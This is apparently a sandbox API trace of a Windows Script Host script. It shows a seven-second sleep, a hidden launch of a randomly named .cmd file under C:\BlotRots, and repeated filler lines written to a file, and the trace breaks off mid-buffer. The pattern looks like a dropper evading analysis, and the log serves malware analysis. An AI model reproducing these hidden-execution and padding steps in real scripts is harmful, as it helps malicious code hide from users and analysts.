pBstrName=0xa3529de198*="Windows Script Host Application Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0x0, pBstrHelpFile=0xa3529de190*="翹") returned 0x0 [0148.746] ITypeInfo:RemoteGetDocumentation (in: This=0x249c86b1e00, memid=2004, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0xa3529de190 | out: pBstrName=0xa3529de198*=0x0, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0x0, pBstrHelpFile=0xa3529de190*="翹") returned 0x0 [0148.746] malloc (_Size=0x8) returned 0x249c884ee00 [0148.746] malloc (_Size=0x20) returned 0x249c884a5a0 [0148.746] _snwprintf_s (in: _DstBuf=0x249c884a5a0, _DstSizeInWords=0x10, _MaxCount=0xffffffffffffffff, _Format="\"%d\"" | out: _DstBuf="\"7000\"") returned 6 [0148.746] malloc (_Size=0x34) returned 0x249ca443560 [0148.746] _snwprintf_s (in: _DstBuf=0x249ca443560, _DstSizeInWords=0x1a, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="IHost.Sleep(") returned 12 [0148.746] wcsncat_s (in: _Destination="IHost.Sleep(", _SizeInWords=0x1a, _Source="\"7000\"", _MaxCount=0x6 | out: _Destination="IHost.Sleep(\"7000\"") returned 0x0 [0148.746] wcscat_s (in: _Destination="IHost.Sleep(\"7000\"", _SizeInWords=0x1a, _Source=");\r\n" | out: _Destination="IHost.Sleep(\"7000\");\r\n") returned 0x0 [0148.746] wcsncpy_s (in: _Destination=0x249ca4d47d2, _SizeInWords=0x17, _Source="IHost.Sleep(\"7000\");\r\n", _MaxCount=0x16 | out: _Destination="IHost.Sleep(\"7000\");\r\n") returned 0x0 [0148.746] IUnknown:Release (This=0x249c86b1e00) returned 0x1 [0148.746] free (_Block=0x249c884a5a0) [0148.746] free (_Block=0x249c884ee00) [0148.746] free (_Block=0x249ca443560) [0148.746] IUnknown:AddRef (This=0x249c86b1e00) returned 0x2 [0148.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0148.746] ITypeInfo:LocalInvoke (This=0x249c86b1e00) returned 0x0 [0148.746] GetTickCount () returned 0x116645f [0148.747] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x3e8, dwWakeMask=0x1dff, dwFlags=0x4) returned 0x102 [0149.759] PeekMessageA (in: lpMsg=0xa3529ddc50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa3529ddc50) returned 0 [0149.759] GetTickCount () returned 0x1166856 [0149.759] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x3e8, dwWakeMask=0x1dff, dwFlags=0x4) returned 0x102 [0150.763] PeekMessageA (in: lpMsg=0xa3529ddc50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa3529ddc50) returned 0 [0150.763] GetTickCount () returned 0x1166c3e [0150.763] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x3e8, dwWakeMask=0x1dff, dwFlags=0x4) returned 0x102 [0151.774] PeekMessageA (in: lpMsg=0xa3529ddc50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa3529ddc50) returned 0 [0151.774] GetTickCount () returned 0x1167036 [0151.774] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x3e8, dwWakeMask=0x1dff, dwFlags=0x4) returned 0x102 [0152.786] PeekMessageA (in: lpMsg=0xa3529ddc50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa3529ddc50) returned 0 [0152.786] GetTickCount () returned 0x116742e [0152.786] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x3e8, dwWakeMask=0x1dff, dwFlags=0x4) returned 0x102 [0153.870] PeekMessageA (in: lpMsg=0xa3529ddc50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa3529ddc50) returned 0 [0153.870] GetTickCount () returned 0x1167864 [0153.870] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x3e8, dwWakeMask=0x1dff, dwFlags=0x4) returned 0x102 [0154.924] PeekMessageA (in: lpMsg=0xa3529ddc50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa3529ddc50) returned 0 [0154.924] GetTickCount () returned 0x1167c7b [0154.924] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x33c, dwWakeMask=0x1dff, dwFlags=0x4) returned 0x102 [0155.789] PeekMessageA (in: lpMsg=0xa3529ddc50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa3529ddc50) returned 0 [0155.789] GetTickCount () returned 0x1167fd6 [0155.790] IUnknown:Release (This=0x249c86b1e00) returned 0x1 [0155.790] LoadRegTypeLib (in: rguid=0x7ff9db994518*(Data1=0xf935dc20, Data2=0x1cf0, Data3=0x11d0, Data4=([0]=0xad, [1]=0xb9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd5, [6]=0x8a, [7]=0xb)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0xa3529de638 | out: pptlib=0xa3529de638*=0x249c876c570) returned 0x0 [0155.904] ITypeLib:GetTypeInfoOfGuid (in: This=0x249c876c570, GUID=0x7ff9db994448*(Data1=0x41904400, Data2=0xbe18, Data3=0x11d3, Data4=([0]=0xa2, [1]=0x8b, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppTInfo=0xa3529de5e8 | out: ppTInfo=0xa3529de5e8*=0x249c876d078) returned 0x0 [0155.904] ITypeInfo:GetRefTypeOfImplType (in: This=0x249c876d078, index=0xffffffff, pRefType=0xa3529de5e0 | out: pRefType=0xa3529de5e0*=0xfffffffe) returned 0x0 [0155.904] ITypeInfo:GetRefTypeInfo (in: This=0x249c876d078, hreftype=0xfffffffe, ppTInfo=0x7ff9db99a208 | out: ppTInfo=0x7ff9db99a208*=0x249c876d0d0) returned 0x0 [0155.904] IUnknown:Release (This=0x249c876d078) returned 0x1 [0155.904] IUnknown:Release (This=0x249c876c570) returned 0x1 [0155.904] IUnknown:AddRef (This=0x249c876d0d0) returned 0x2 [0155.904] ITypeInfo:LocalGetIDsOfNames (This=0x249c876d0d0) returned 0x0 [0155.904] IUnknown:Release (This=0x249c876d0d0) returned 0x1 [0155.904] IUnknown:AddRef (This=0x249c876d0d0) returned 0x2 [0155.905] ITypeInfo:RemoteGetDocumentation (in: This=0x249c876d0d0, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0xa300000001 | out: pBstrName=0xa3529de198*="Shell Object Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0x0, pBstrHelpFile=0xa300000001) returned 0x0 [0155.905] ITypeInfo:RemoteGetDocumentation (in: This=0x249c876d0d0, memid=1000, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0xa300000001 | out: pBstrName=0xa3529de198*=0x0, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0x0, pBstrHelpFile=0xa300000001) returned 0x0 [0155.905] malloc (_Size=0x18) returned 0x249ca447910 [0155.905] malloc (_Size=0x20) returned 0x249c884a5a0 [0155.905] _snwprintf_s (in: _DstBuf=0x249c884a5a0, _DstSizeInWords=0x10, _MaxCount=0xffffffffffffffff, _Format="\"%d\"" | out: _DstBuf="\"0\"") returned 3 [0155.905] malloc (_Size=0x20) returned 0x249c884a9a0 [0155.905] _snwprintf_s (in: _DstBuf=0x249c884a9a0, _DstSizeInWords=0x10, _MaxCount=0xffffffffffffffff, _Format="\"%d\"" | out: _DstBuf="\"0\"") returned 3 [0155.905] malloc (_Size=0x5e) returned 0x249c884ee60 [0155.905] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x2f, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\"") returned 46 [0155.905] malloc (_Size=0x9e) returned 0x249c884eed0 [0155.905] _snwprintf_s (in: _DstBuf=0x249c884eed0, _DstSizeInWords=0x4f, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="IWshShell3.Run(") returned 15 [0155.905] wcsncat_s (in: _Destination="IWshShell3.Run(", _SizeInWords=0x4f, _Source="\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\"", _MaxCount=0x2e | out: _Destination="IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\"") returned 0x0 [0155.905] wcscat_s (in: _Destination="IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\"", _SizeInWords=0x4f, _Source=", " | out: _Destination="IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", ") returned 0x0 [0155.905] wcsncat_s (in: _Destination="IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", ", _SizeInWords=0x4f, _Source="\"0\"", _MaxCount=0x3 | out: _Destination="IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\"") returned 0x0 [0155.905] wcscat_s (in: _Destination="IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\"", _SizeInWords=0x4f, _Source=", " | out: _Destination="IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", ") returned 0x0 [0155.905] wcsncat_s (in: _Destination="IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", ", _SizeInWords=0x4f, _Source="\"0\"", _MaxCount=0x3 | out: _Destination="IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\"") returned 0x0 [0155.905] wcscat_s (in: _Destination="IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\"", _SizeInWords=0x4f, _Source=");\r\n" | out: _Destination="IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\");\r\n") returned 0x0 [0155.905] wcsncpy_s (in: _Destination=0x249ca4d4800, _SizeInWords=0x4c, _Source="IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\");\r\n", _MaxCount=0x4b | out: _Destination="IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\");\r\n") returned 0x0 [0155.905] malloc (_Size=0x2000) returned 0x249ca44d3f0 [0155.905] wcsncpy_s (in: _Destination=0x249ca44d3f0, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44d4da, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44d5c4, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44d60a, _SizeInWords=0x53, _Source="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x52 | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44d6ae, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44d6f4, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44d73a, _SizeInWords=0x71, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x70 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44d81a, _SizeInWords=0x82, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x81 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44d91c, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 